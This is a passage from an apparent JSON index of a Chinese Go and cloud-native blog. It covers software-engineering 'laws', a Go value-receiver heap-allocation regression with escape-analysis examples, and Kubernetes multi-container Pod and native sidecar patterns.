contract: all observable behaviors of your system will be depended on by somebody.) (接口行为不能轻易改动!)\n这条定律对API设计和维护者至关重要，它揭示了接口（API）维护的残酷现实。即使某个行为没有写在你的官方文档里，只要它是可观察到的（比如某个特定的错误返回格式、某个未公开的内部端点、某个副作用），一旦有足够多的用户，就一定会有人依赖上这个行为。\n因此，API的设计和变更需要极其谨慎。任何微小的改动，即使是修复Bug或改变未承诺的行为，都可能破坏依赖者的系统。这也解释了为什么移除那些依据斯特金定律属于“垃圾”的特性如此困难——总有用户在依赖它们。进行接口设计时，要尽可能减少可观察的副作用，明确接口契约，并为变更做好版本管理和兼容性策略。\n普莱斯定律 (Price’s law / Price’s Square Root Law) 定律：在一个组织中，一半的工作是由占总人数平方根的人完成的。 (50% of the work is done by the square root of the total number of people.) (团队里的核心贡献者?)\n这一定律量化了贡献度的不平均分布。例如，在一个10人的团队里，大约3个人 (√10 ≈ 3.16) 完成了50%的工作；在一个 100 人的公司里，大约 10个人 (√100 = 10) 的产出相当于剩下90人的总和。这也可以在一定程度上解释为什么Twitter在大规模裁员后没有立即崩溃。\n团队规模的扩大并不会带来线性的产出增长。如果你想让产出翻倍，可能需要4倍的人员规模。这警示管理者在扩张团队时要关注人效和组织结构，识别并赋能那些核心贡献者。\n瑞格曼效应 (The Ringelmann effect) 定律：当一个团体的规模增加时，个体成员的生产力趋于下降。 (The tendency for individual members of a group to become increasingly less productive as the size of their group increases.) (人多不一定力量大?)\n这个效应早在1913年就被发现（通过拔河实验）。团队越大，个体平均贡献的力量越小。原因主要有两个：一是动机丧失（即“社会惰化”，觉得自己的贡献不重要或难以衡量）；二是协调成本增加（沟通、同步、冲突解决等开销变大）。\n这也是对布鲁克斯定律和普莱斯定律的有力补充。保持小而精干的团队往往效率更高，尤其是在需要高度协作和创新的领域。明确的职责划分、有效的沟通机制和对个体贡献的认可，有助于缓解瑞格曼效应。\n古德哈特定律 (Goodhart’s law) 定律：当一个度量本身成为目标时，它就不再是一个好的度量。 (When a measure becomes a target, it ceases to be a good measure.) (警惕 KPI 陷阱!)\n这是关于KPI和度量最著名的警告。一旦某个指标（如代码行数、PR 数量、Bug 修复数、用户增长数、客户满意度）被设定为考核目标，人们就会想方设法“优化”这个指标本身，而不是优化它所代表的真实价值，最终导致该指标失去意义。例如，为了提高代码行数而写冗余代码，为了快速关闭工单而不是定位根因并从根本上解决问题。\n对任何单一的量化指标都要保持警惕。度量是必要的，但不能迷信指标。需要结合多个指标、定性分析以及对最终业务价值的判断，来全面评估绩效和进展。\n吉尔布定律 (Gilb’s law) 定律：任何你需要量化的东西，都可以用某种方式来衡量，这种衡量方式优于完全不衡量。 (Anything you need to quantify can be measured in some way that is superior to not measuring it at all.) (与上一条辩证看，还是要量化!)\n这一定律是古德哈特定律的必要平衡。它告诉我们，尽管度量可能不完美、可能被“攻击”，但完全放弃量化是不可取的。“没有度量，就没有改进”。找到一个（哪怕是粗糙的）量化方法，总比凭感觉行事要好。\n因此，不要因为害怕古德哈特定律而彻底放弃量化。关键在于选择合适的度量维度（比如 DORA 指标、开发者体验 DevEx 等），持续迭代和优化度量方法，并结合业务背景进行解读。\n墨菲定律 (Murphy’s law) 定律：任何可能出错的事情，最终都会出错。 (Anything that can go wrong will go wrong.) (那个被你忽略的边缘 Case…?)\n这条定律大家再熟悉不过了。它提醒我们，那些看起来概率极小、懒得处理的边缘情况、那个被你忽略的潜在Bug、那一次“应该没问题”的侥幸操作，往往会在最关键的时候给你带来麻烦。\n在软件工程中，要有敬畏之心。进行充分的测试（尤其是边缘情况测试）、建立健壮的错误处理和容错机制、实施灰度发布和监控告警，都是应对墨菲定律的必要手段。不要低估任何可能出错的环节。\n小结：定律是启发，而非束缚 这13条定律，更像是前辈们用经验和教训为我们绘制的“认知地图”。它们并非严格的科学定理，但在理解软件开发这个复杂系统时，能为我们提供宝贵的视角和警示。\n将这些定律记在心中，不是为了给自己设限或者找借口，而是为了让我们在日常的编码、设计、沟通和决策中，多一份清醒，多一份审慎，少踩一些坑，从而更从容地驾驭软件工程这门充满挑战与乐趣的艺术。\n你对这些定律有哪些特别的感触？或者在你多年的开发生涯中，还总结出了哪些有趣的“私房定律”？\n欢迎在评论区留下你的思考和故事！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/04/26/13-laws-of-software-engineering/","summary":"\u003cp\u003e【规律之手】资深码农都懂？软件工程中的13条“潜规则”定律 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"【规律之手】资深码农都懂？软件工程中的13条“潜规则”定律"},{"content":"一个字符引发的30%性能下降：Go值接收者的隐藏成本与优化 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n一个字符引发的30%性能下降：Go值接收者的隐藏成本与优化 四月 25, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/25/hidden-costs-of-go-value-receiver\n大家好，我是Tony Bai。\n在软件开发的世界里，细节决定成败，这句话在以简洁著称的Go语言中同样适用，甚至有时会以更出人意料的方式体现出来。\n想象一下这个场景：你正在对一个稳定的Go项目进行一次看似无害的“无操作（no-op）”重构，目标只是为了封装一些实现细节，提高代码的可维护性。然而，提交代码后，CI系统却亮起了刺眼的红灯——某个核心基准测试（比如 sysbench）的性能竟然骤降了30%！\n（图片来源：Dolt博客原文） 这可不是什么虚构的故事，而是最近发生在Dolt（一个我长期关注的一个Go编写的带版本控制的SQL数据库）项目中的真实“性能血案”。一次旨在改进封装的重构，却意外触发了严重的性能衰退。\n经过一番追踪和性能分析（Profiling），罪魁祸首竟然隐藏在代码中一个极其微小的改动里。今天，我们就来解剖这个案例，看看Go语言的内存分配机制，特别是值接收者（Value Receiver），是如何在这个过程中悄无声息地埋下性能地雷的。\n案发现场：代码的前后对比 这次重构涉及一个名为 ImmutableValue 的类型，它大致包含了一个内容的哈希地址 (Addr)、一个可选的缓存字节切片 (Buf)，以及一个能根据哈希解析出数据的ValueStore接口。其核心方法 GetBytes 用于获取数据，如果缓存为空，则通过 ValueStore 加载。\n重构的目标是将ValueStore的部分实现细节移入接口方法ReadBytes中。\n重构前的简化代码：\n// (ImmutableValue 的定义和部分字段省略) func (t *ImmutableValue) GetBytes(ctx context.Context) ([]byte, error) { if t.Buf == nil { // 直接调用内部的 load 方法填充 t.Buf err := t.load(ctx) if err != nil { return nil, err } } return t.Buf[:], nil } func (t *ImmutableValue) load(ctx context.Context) error { // ... (省略部分检查) // 假设 valueStore 是 t 的一个字段，类型是 nodeStore 或类似具体类型 t.valueStore.WalkNodes(ctx, t.Addr, func(ctx context.Context, n Node) error { if n.IsLeaf() { // 直接 append 到 t.Buf t.Buf = append(t.Buf, n.GetValue(0)...) } return nil // 简化错误处理 }) return nil } 重构后的简化代码：\n// (ImmutableValue 定义同上) func (t *ImmutableValue) GetBytes(ctx context.Context) ([]byte, error) { if t.Buf == nil { if t.Addr.IsEmpty() { t.Buf = []byte{} return t.Buf, nil } // 通过 ValueStore 接口的 ReadBytes 方法获取数据 buf, err := t.valueStore.ReadBytes(ctx, t.Addr) if err != nil { return nil, err } t.Buf = buf // 将获取到的 buf 赋值给 t.Buf } return t.Buf, nil } // ---- ValueStore 接口的实现 ---- // 假设 nodeStore 是 ValueStore 的一个实现 type nodeStore struct { chunkStore interface { // 假设 chunkStore 是另一个接口或类型 WalkNodes(ctx context.Context, h hash.Hash, cb CallbackFunc) error } // ... 其他字段 } // 注意这里的接收者类型是 nodeStore (值类型) func (vs nodeStore) ReadBytes(ctx context.Context, h hash.Hash) (result []byte, err error) { err = vs.chunkStore.WalkNodes(ctx, h, func(ctx context.Context, n Node) error { if n.IsLeaf() { // append 到局部变量 result result = append(result, n.GetValue(0)...) } return nil // 简化错误处理 }) return result, err } // 确保 nodeStore 实现了 ValueStore 接口 var _ ValueStore = nodeStore{} // 注意这里用的是值类型 代码逻辑看起来几乎没变，只是将原来load方法中的 WalkNodes 调用和 append 逻辑封装到了 nodeStore 的 ReadBytes 方法中。\n然而，性能分析（Profiling）结果显示，在新的实现中，ReadBytes 方法耗费了大量时间（约 1/3 的运行时）在调用 runtime.newobject 上。Go老手都知道：runtime.newobject是Go用于在堆上分配内存的内建函数。这意味着，新的实现引入了额外的堆内存分配。\n那么问题来了（这也是原文留给读者的思考题）：\n额外的堆内存在哪里分配的？ 为什么这次分配发生在堆（Heap）上，而不是通常更廉价的栈（Stack）上？ 到这里可能即便经验丰富的Go开发者可能也没法一下子看出端倪。如果你和我一样在当时还没想到，不妨暂停一下，仔细看看重构后的代码，特别是ReadBytes方法的定义。\n当你准备好后，我们来一起揭晓答案。\n破案：罪魁祸首——那个被忽略的*号 造成性能骤降的罪魁祸首，竟然只是ReadBytes方法定义中的一个字符差异！\n修复方法：\ndiff - func (vs nodeStore) ReadBytes(ctx context.Context, h hash.Hash) (result []byte, err error) { + func (vs *nodeStore) ReadBytes(ctx context.Context, h hash.Hash) (result []byte, err error) { 是的，仅仅是将 ReadBytes 方法的接收者从值类型 nodeStore 改为*指针类型 nodeStore，就挽回了那丢失的 30% 性能。\n那么，这背后到底发生了什么？我们逐层剥丝去茧的看一下。\n第一层：值接收者 vs 指针接收者 —— 不仅仅是语法糖 我们需要理解Go语言中方法接收者的两种形式：\n值接收者 (Value Receiver): func (v MyType) MethodName() {} 指针接收者 (Pointer Receiver): func (p *MyType) MethodName() {} 虽然Go允许你用值类型调用指针接收者的方法（Go会自动取地址），或者用指针类型调用值接收者的方法（Go会自动解引用），但这并非没有代价。\n关键在于：当使用值接收者时，方法内部操作的是接收者值的一个副本（Copy）。\n在我们的案例中，ReadBytes 方法使用了值接收者 (vs nodeStore)。这意味着，每次通过 t.valueStore.ReadBytes(…) 调用这个方法时（t.valueStore 是一个接口，其底层具体类型是 nodeStore），Go 运行时会创建一个 nodeStore 结构体的副本，并将这个副本传递给 ReadBytes 方法内部的vs变量。\n正是这个结构体的复制操作，构成了“第一重罪”——它带来了额外的开销。\n但仅仅是复制，通常还不至于引起如此大的性能问题。毕竟，Go 语言函数参数传递也是值传递（pass-by-value），复制是很常见的。问题在于，这次复制产生的开销，并不仅仅是简单的内存拷贝。\n第二层：栈分配 vs 堆分配 —— 廉价与昂贵的抉择 通常情况下，函数参数、局部变量，以及这种方法接收者的副本，会被分配在**栈（Stack）**上。栈分配非常快速，因为只需要移动栈指针即可，并且随着函数返回，栈上的内存会自动回收，几乎没有管理成本。\n但是，在某些情况下，Go 编译器（通过逃逸分析 Escape Analysis）会判断一个变量不能安全地分配在栈上，因为它可能在函数返回后仍然被引用（即“逃逸”到函数作用域之外）。这时，编译器会选择将这个变量分配在**堆（Heap）**上。\n堆分配相比栈分配要昂贵得多：\n分配本身更慢： 需要在堆内存中找到合适的空间。 需要垃圾回收（GC）： 堆上的内存需要垃圾回收器来管理和释放，这会带来额外的 CPU 开销和潜在的 STW (Stop-The-World) 暂停。 在Dolt的这个案例中，性能分析工具明确告诉我们，ReadBytes 方法中出现了大量的 runtime.newobject 调用，这表明 nodeStore 的那个副本被分配到了堆上。\n这就是“第二重罪”——本该廉价的栈上复制，变成了昂贵的堆上分配。\n注：这里有些读者可能注意到了WalkNodes传入了一个闭包，闭包是在堆上分配的，但这个无论方法接收者是指针还是值，其固定开销都是存在的。不是此次“血案”的真凶。\n第三层：逃逸分析的“无奈”——为何会逃逸到堆？ 为什么编译器会认为 nodeStore 的副本需要分配在堆上呢？按照代码逻辑，vs 这个副本变量似乎并不会在 ReadBytes 函数返回后被引用。\n原文作者使用go build -gcflags “-m” 工具（这个命令可以打印出编译器的逃逸分析和内联决策）发现，编译器给出的原因是：\nstore/prolly/tree/node_store.go:93:7: parameter ns leaks to {heap} with derefs=1: ... from ns.chunkStore (dot of pointer) at ... from ns.chunkStore.WalkNodes(ctx, ref) (call parameter) at ... leaking param content: ns 注：这里原文也有“笔误”，代码定义用的接收者名是vs，这里逃逸分析显示的是ns。可能是后期方法接收者做了改名。\n编译器认为，当 vs.chunkStore.WalkNodes(…) 被调用时，由于 chunkStore 是一个接口类型，编译器无法在编译时完全确定 WalkNodes 方法的具体实现是否会导致 vs （或者其内部字段的地址）以某种方式“逃逸”出去（比如被一个长期存活的 goroutine 捕获）。\nGo 的逃逸分析虽然很智能，但并非万能。官方文档也提到它是一个“基本的逃逸分析”。当编译器不能百分之百确定一个变量不会逃逸时，为了保证内存安全（这是 Go 的最高优先级之一），它会采取保守策略，将其分配到堆上。堆分配永远是安全的（因为有 GC），尽管可能不是最高效的。\n在这个案例中，接口方法调用成为了逃逸分析的“盲点”，导致编译器做出了保守的堆分配决策。\n眼见为实：一个简单的复现与逃逸分析 理论讲完了，我们不妨动手实践一下，用一个极简的例子来复现并观察这个逃逸现象。\n第一步：使用值接收者 (Value Receiver) 下面是模拟Dolt问题代码的示例，这里大幅做了简化。我们先用值接收者定义方法：\npackage main import \u0026#34;fmt\u0026#34; // 1. 接口 type Executor interface { Execute() } // 2. 具体实现 type SimpleExecutor struct{} func (se SimpleExecutor) Execute() { // fmt.Println(\u0026#34;Executing...\u0026#34;) // 实际操作可以省略 } // 3. 包含接口字段的结构体 type Container struct { exec Executor } // 4. 值接收者方法 (我们期望这里的 c 逃逸) func (c Container) Run() { fmt.Println(\u0026#34;Running via value receiver...\u0026#34;) // 调用接口方法，这是触发逃逸的关键 c.exec.Execute() } func main() { impl := SimpleExecutor{} cInstance := Container{exec: impl} // 调用值接收者方法 cInstance.Run() // 确保 cInstance 被使用，防止完全优化 _ = cInstance.exec } 运行逃逸分析 (值接收者版本):\n我们在终端中运行 go build -gcflags=”-m -l” main.go。这里关闭了内联优化，避免对结果的影响。\n观察输出: 你应该会看到类似以下的行 (行号可能略有不同):\n$go run -gcflags=\u0026#34;-m -l\u0026#34; main.go # command-line-arguments ./main.go:24:7: leaking param: c ./main.go:25:13: ... argument does not escape ./main.go:25:14: \u0026#34;Running via value receiver...\u0026#34; escapes to heap ./main.go:36:31: impl escapes to heap Running via value receiver... 我们发现：leaking param: c 这条输出明确地告诉我们，Run 方法的值接收者 c（一个 Container 的副本）因为内部调用了接口方法而逃逸到了堆上。\n第二步：改为指针接收者 (Pointer Receiver) 现在，我们将 Run 方法改为使用指针接收者，其他代码不变：\nfunc (c *Container) Run() { fmt.Println(\u0026#34;Running via pointer receiver...\u0026#34;) c.exec.Execute() } 再来运行逃逸分析 (指针接收者版本):\n$go run -gcflags=\u0026#34;-m -l\u0026#34; main.go # command-line-arguments ./main.go:24:7: leaking param content: c ./main.go:26:13: ... argument does not escape ./main.go:26:14: \u0026#34;Running via pointer receiver...\u0026#34; escapes to heap ./main.go:36:31: impl escapes to heap Running via pointer receiver... 对于之前的输出，两者的主要区别在于对接收者参数c的逃逸报告不同：\n值接收者: leaking param: c -\u0026gt; 接收者c的副本本身因为接口方法调用而逃逸到了堆上。 指针接收者: leaking param content: c -\u0026gt; 接收者指针c本身并未因为接口方法调用而逃逸，但它指向或访问的内容与堆内存有关，在此例中， main函数中将具体实现赋值给接口字段时，impl会逃逸到堆(impl escapes to heap)，无论接收者类型为值还是指针。 这个对比清晰地表明，使用指针接收者可以避免接收者参数本身因为在方法内部调用接口字段的方法而逃逸到堆。这通常是更优的选择，可以减少不必要的堆分配。\n这个简单的重现实验清晰地印证了我们的分析：\n当值接收者的方法内部调用了其包含的接口字段的方法时，编译器出于保守策略，可能会将值接收者的副本分配到堆上，导致额外的性能开销。 而使用指针接收者时，方法传递的是指针，编译器通过指针进行接口方法的动态分发，这个过程通常不会导致接收者指针本身逃逸到堆上。 小结：细节里的魔鬼与性能优化的启示 这个由一个*号引发的30%性能“血案”，给我们带来了几个深刻的启示：\n值接收者有隐形成本： 每次调用都会产生接收者值的副本。虽然 Go 会自动处理值/指针的转换，但这背后是有开销的，尤其是在拷贝较大的结构体时。 拷贝可能导致堆分配： 如果编译器无法通过逃逸分析确定副本只在栈上活动（尤其是在涉及接口方法调用等复杂情况时），它就会被分配到堆上，带来显著的性能损耗（分配开销 + GC 压力）。 接口调用可能影响逃逸分析： 动态派发使得编译器难以在编译时完全分析清楚变量的生命周期，可能导致保守的堆分配决策。 优先使用指针接收者： 尤其对于体积较大的结构体，或者在性能敏感的代码路径中，使用指针接收者可以避免不必要的拷贝和潜在的堆分配，是更安全、通常也更高效的选择。当然，如果你的类型是“不可变”的，或者逻辑上确实需要操作副本，值接收者也有其用武之地，但要意识到潜在的性能影响。 善用工具： go build -gcflags “-m” 是我们理解编译器内存分配决策、发现潜在性能问题的有力武器。当遇到意外的性能问题时，检查逃逸分析的结果往往能提供关键线索。 一个小小的星号，背后却牵扯出 Go 语言关于方法接收者、内存分配和编译器优化的诸多细节。理解这些细节，正是我们写出更高性能、更优雅 Go 代码的关键。\n希望这个真实的案例和简单的复现能让你对 Go 的内存管理有更深的认识。你是否也曾遇到过类似的、由微小代码改动引发的性能问题？欢迎在评论区分享你的故事和看法！\nDolt原文链接：https://www.dolthub.com/blog/2025-04-18-optimizing-heap-allocations/\n今天我们深入探讨了值接收者、堆分配和逃逸分析这些相对底层的 Go 语言知识点。如果你对这些内容意犹未尽，希望：\n系统性地学习 Go 语言，从基础原理到并发编程，再到工程实践，构建扎实的知识体系； 深入理解 Go 的设计哲学与底层实现，知其然更知其所以然； 掌握更多 Go 语言的进阶技巧与避坑经验，在实践中写出更健壮、更高效的代码； 那么，我为你准备了两份“精进食粮”：\n极客时间专栏《Go 语言第一课》：这门课程覆盖了 Go 语言从入门到进阶所需的核心知识，包含大量底层原理讲解和实践案例，是系统学习 Go 的绝佳起点。 我的书籍《Go 语言精进之路》：这本书侧重于连接 Go 语言理论与一线工程实践，深入探讨了 Go 的设计哲学、关键特性、常见陷阱以及在真实项目中应用 Go 的最佳实践，助你打通进阶之路上的“任督二脉”。 希望它们能成为你 Go 语言学习和精进道路上的得力助手！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/04/25/hidden-costs-of-go-value-receiver/","summary":"\u003cp\u003e一个字符引发的30%性能下降：Go值接收者的隐藏成本与优化 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"一个字符引发的30%性能下降：Go值接收者的隐藏成本与优化"},{"content":"Go应用的K8s“最佳拍档”：何时以及如何用好多容器Pod模式 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo应用的K8s“最佳拍档”：何时以及如何用好多容器Pod模式 四月 24, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/24/multiple-containers-pod-pattern\n大家好，我是Tony Bai。\n将Go应用部署到Kubernetes已经是许多团队的标配。在这个强大的容器编排平台上，除了运行我们的核心Go服务容器，Kubernetes还提供了一种灵活的设计模式——多容器Pod。通过在同一个Pod内运行多个容器，我们可以实现诸如初始化、功能扩展、适配转换等多种辅助功能，其中最知名的就是Sidecar模式。\n这些“辅助容器”就像我们Go应用的“最佳拍档”，在某些场景下能发挥奇效。然而，正如 Kubernetes官方文档和社区讨论一直强调的那样，引入额外的容器并非没有成本。每一个额外的容器都会增加复杂度、资源消耗和潜在的运维开销。\n因此，关键在于策略性地使用这些模式。我们不应将其视为默认选项，而应是解决特定架构挑战的精密工具。今天，我们就来聊聊Kubernetes中几种合理且常用的多容器Pod模式，探讨何时应该为我们的Go应用引入这些“拍档”，以及如何更好地利用Kubernetes v1.33中已正式稳定（GA）的原生Sidecar支持来实现它们。\n图K8s v1.33发布 首先：警惕复杂性！优先考虑更简单的替代方案 在深入探讨具体模式之前，务必牢记一个核心原则：非必要，勿增实体。\n对于Go这种拥有强大标准库和丰富生态的语言来说，许多常见的横切关注点（如日志记录、指标收集、配置加载、基本的HTTP客户端逻辑等）往往可以通过引入高质量的Go库在应用内部更轻量、更高效地解决。\n只有当以下情况出现时，才应认真考虑引入多容器模式：\n需要扩展或修改无法触碰源代码的应用（如第三方应用或遗留系统）。 需要将与语言无关的通用功能（如网络代理、安全策略）从主应用中解耦出来。 需要独立于主应用进行更新或扩展的辅助功能。 特定的初始化或适配需求无法在应用内部优雅处理。 切忌为了“看起来很酷”或“遵循某种时髦架构”而盲目添加容器。\n下面我们看看常见的一些多容器模式以及对应的应用场景。\n四种推荐的多容器模式及其Go应用场景 Kubernetes生态中已经沉淀出了几种非常实用且目标明确的多容器模式，我们逐一来看一下。\nInit Container (初始化容器) Init Container是K8s最早支持的一种“sidecar”(那时候还不这么叫)，它一般用在主应用容器启动之前，执行一次性的关键设置任务。它会运行至完成然后终止。\n它常用于以下场景：\n运行数据库Schema迁移。 预加载配置或密钥。 检查依赖服务就绪。 准备共享数据卷。 下面是官方的一个init containers的示例：\napiVersion: v1 kind: Pod metadata: name: myapp-pod labels: app.kubernetes.io/name: MyApp spec: containers: - name: myapp-container image: busybox:1.28 command: [\u0026#39;sh\u0026#39;, \u0026#39;-c\u0026#39;, \u0026#39;echo The app is running! \u0026amp;\u0026amp; sleep 3600\u0026#39;] initContainers: - name: init-myservice image: busybox:1.28 command: [\u0026#39;sh\u0026#39;, \u0026#39;-c\u0026#39;, \u0026#34;until nslookup myservice.$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace).svc.cluster.local; do echo waiting for myservice; sleep 2; done\u0026#34;] - name: init-mydb image: busybox:1.28 command: [\u0026#39;sh\u0026#39;, \u0026#39;-c\u0026#39;, \u0026#34;until nslookup mydb.$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace).svc.cluster.local; do echo waiting for mydb; sleep 2; done\u0026#34;] 此示例定义了一个包含两个init容器的简单Pod。第一个init容器(init-myservice)等待myservice运行，第二个init容器(init-mydb)等待mydb运行。两个init容器完成后，Pod将从其spec部分运行app容器(myapp-container)。\nAmbassador (大使容器) Ambassador Container主要是用于扮演主应用容器的“网络大使”，简化其与外部服务的交互，它常用在下面一些场景里：\n服务发现与负载均衡代理。 请求重试与熔断。 身份验证与授权代理。 mTLS 加密通信。 Ambassador通常作为Pod内的一个长期运行的容器。如果需要确保它在主应用之后停止（例如处理完最后的请求转发），Kubernetes原生Sidecar是实现Ambassador容器的理想选择。\nConfiguration Helper (配置助手) 配置助手也是一种最常使用的辅助容器模式，它主要用于动态地为正在运行的主应用提供或更新配置，比如监控ConfigMap/Secret变化并热加载、从配置中心拉取配置等。\n它通常也是一个长期运行的容器。由于可能需要在主应用启动前提供初始配置，并在主应用停止后同步最后状态，使用原生Sidecar提供的精确生命周期管理非常有价值，可以使用Sidecar实现这种模式的容器。\nAdapter (适配器容器) Adapter容器负责在主应用和外部世界之间进行数据格式、协议或API的转换，常用于下面一些场景：\n统一监控指标格式。 协议转换（如 gRPC 转 REST）。 标准化日志输出。 兼容遗留系统接口。 我们可以根据是否需要精确的生命周期协调来选择普通容器或原生Sidecar来实现这类长期运行的适配器容器。\n可见，K8s原生的Sidecar是实现上述四种辅助容器的可靠实现，下面来简单介绍一下K8s原生Sidecar。\nK8s原生Sidecar：可靠实现辅助容器的关键 现在，我们重点关注Kubernetes v1.33中正式稳定（GA）的原生Sidecar 功能。\n它是如何实现的呢？\n官方推荐的方式是：在Pod的spec.initContainers数组中定义你的Sidecar容器，并显式地将其restartPolicy设置为Always。下面是一个示例：\nspec: initContainers: - name: my-sidecar # 例如日志收集或网络代理 image: my-sidecar-image:latest restartPolicy: Always # \u0026lt;--- 关键：标记为原生Sidecar # ... 其他配置 ... containers: - name: my-go-app image: my-golang-app:latest # ... 虽然将长期运行的容器放在initContainers里初看起来可能有些“反直觉”，但这正是Kubernetes团队为了复用Init Container已有的启动顺序保证，并赋予其特殊生命周期管理能力而精心设计的稳定机制。\n原生Sidecar具有如下的核心优势：\n可靠的启动行为： 所有非Sidecar的 Init Containers (restartPolicy 不是 Always) 会按顺序执行且必须成功完成。随后，主应用容器 (spec.containers) 和所有原生 Sidecar 并发启动。 优雅的关闭顺序保证：这是最大的改进！当 Pod 终止时，主应用容器先收到SIGTERM 并等待其完全停止（或超时），然后Sidecar容器才会收到 SIGTERM 开始关闭。 与Job 的良好协作： 对于设置了 restartPolicy: OnFailure或Never的Job，原生Sidecar不会因为自身持续运行而阻止Job的成功完成。 这对我们的Go应用意味着什么？\n当你的Go应用确实需要一个长期运行的辅助容器，并且需要精确的生命周期协调时，原生Sidecar提供了实实在在的好处：\n服务网格代理 (Ambassador 变种): Envoy, Linkerd proxy 等可以确保在 Go 应用处理完最后请求后才关闭，极大提升可靠性。 日志/监控收集 (Adapter/Helper 变种): Fluentd, Vector, OTel Collector 等可以确保捕获到 Go 应用停止前的最后状态信息。 需要与主应用生命周期紧密配合的其他辅助服务: 任何需要在主应用运行期间持续提供服务，并在主应用结束后才停止的场景。 因此，原生Sidecar不是一个全新的模式，而是当我们需要实现上述这些需要精确生命周期管理的Sidecar模式时，Kubernetes v1.33 提供的稳定、可靠且官方推荐的实现方式。\n小结 Kubernetes的多容器Pod模式为我们提供了强大的工具箱，但也伴随着额外的复杂性。对于Go开发者而言：\n始终将简单性放在首位： 优先考虑使用 Go 语言自身的库和能力来解决问题。 审慎评估必要性： 只有当明确的应用场景（如 Init, Ambassador, Config Helper, Adapter）带来的好处大于其引入的复杂度和资源开销时，才考虑使用多容器模式。 理解模式目的： 清晰地知道你引入的每个辅助容器是为了解决什么特定问题。 拥抱原生 Sidecar (GA): 当你确定需要一个长期运行且需要可靠生命周期管理的辅助容器时，利用 Kubernetes v1.33 及以后版本中稳定提供的原生 Sidecar 支持，是提升部署健壮性的最佳实践。 多容器 Pod 是 Kubernetes 生态中的“精密武器”，理解何时拔剑、如何出鞘，并善用平台提供的稳定特性，才能真正发挥其威力，为我们的 Go 应用保驾护航。\n你通常在什么场景下为你的 Go 应用添加辅助容器？你对 K8s 原生 Sidecar 功能的稳定有何看法？欢迎在评论区分享你的实践经验和见解！ 如果觉得这篇文章对你有启发，也请不吝点个【赞】和【在看】！\n参考资料 Init Containers – https://kubernetes.io/docs/concepts/workloads/pods/init-containers/ Pod Sidecar Containers – https://kubernetes.io/docs/tutorials/configuration/pod-sidecar-containers/ Sidecar Containers – https://kubernetes.io/docs/concepts/workloads/pods/sidecar-containers/ Kubernetes v1.33: Octarine – https://kubernetes.io/blog/2025/04/23/kubernetes-v1-33-release/ Sidecar Containers – https://github.com/kubernetes/enhancements/issues/753 拓展阅读与实践：抓住 K8s 学习与星球优惠的最后机会！\n聊完K8s的多容器Pod模式，想不想更系统地掌握K8s核心原理与实践？\n我正打算将多年前深受好评的慕课网Kubernetes实战课(https://coding.imooc.com/class/284.html)内容（覆盖集群探索、网络、安全、存储、诊断、Operator等核心知识点）进行精选和更新，并逐步放入我的知识星球**「Go \u0026amp; AI 精进营」** 的**【Kubernetes进阶】** 专栏。这对于理解K8s底层、打好云原生基础价值依旧。\n当初的课程核心内容(后会有调整) 特别提醒： 「Go \u0026amp; AI 精进营」将于5月1日起涨价至 388 元/年！现在是涨价前的最后一周，以当前价格加入，即可锁定未来一年的高质量Go 进阶、AI 应用实战以及这个即将更新的 K8s 实战专栏！\n如果你想深入K8s原理，并抓住星球涨价前的最后优惠窗口，现在就加入我们吧！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/04/24/multiple-containers-pod-pattern/","summary":"\u003cp\u003eGo应用的K8s“最佳拍档”：何时以及如何用好多容器Pod模式 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go应用的K8s“最佳拍档”：何时以及如何用好多容器Pod模式"},{"content":"拯救你的Commit Log：Conventional Commits实践指南 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n拯救你的Commit Log：Conventional Commits实践指南 四月 24, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/24/conventional-commits-guide\n告别混乱Commit Log！用规范指引你写出有意义的提交！\n大家好，我是Tony 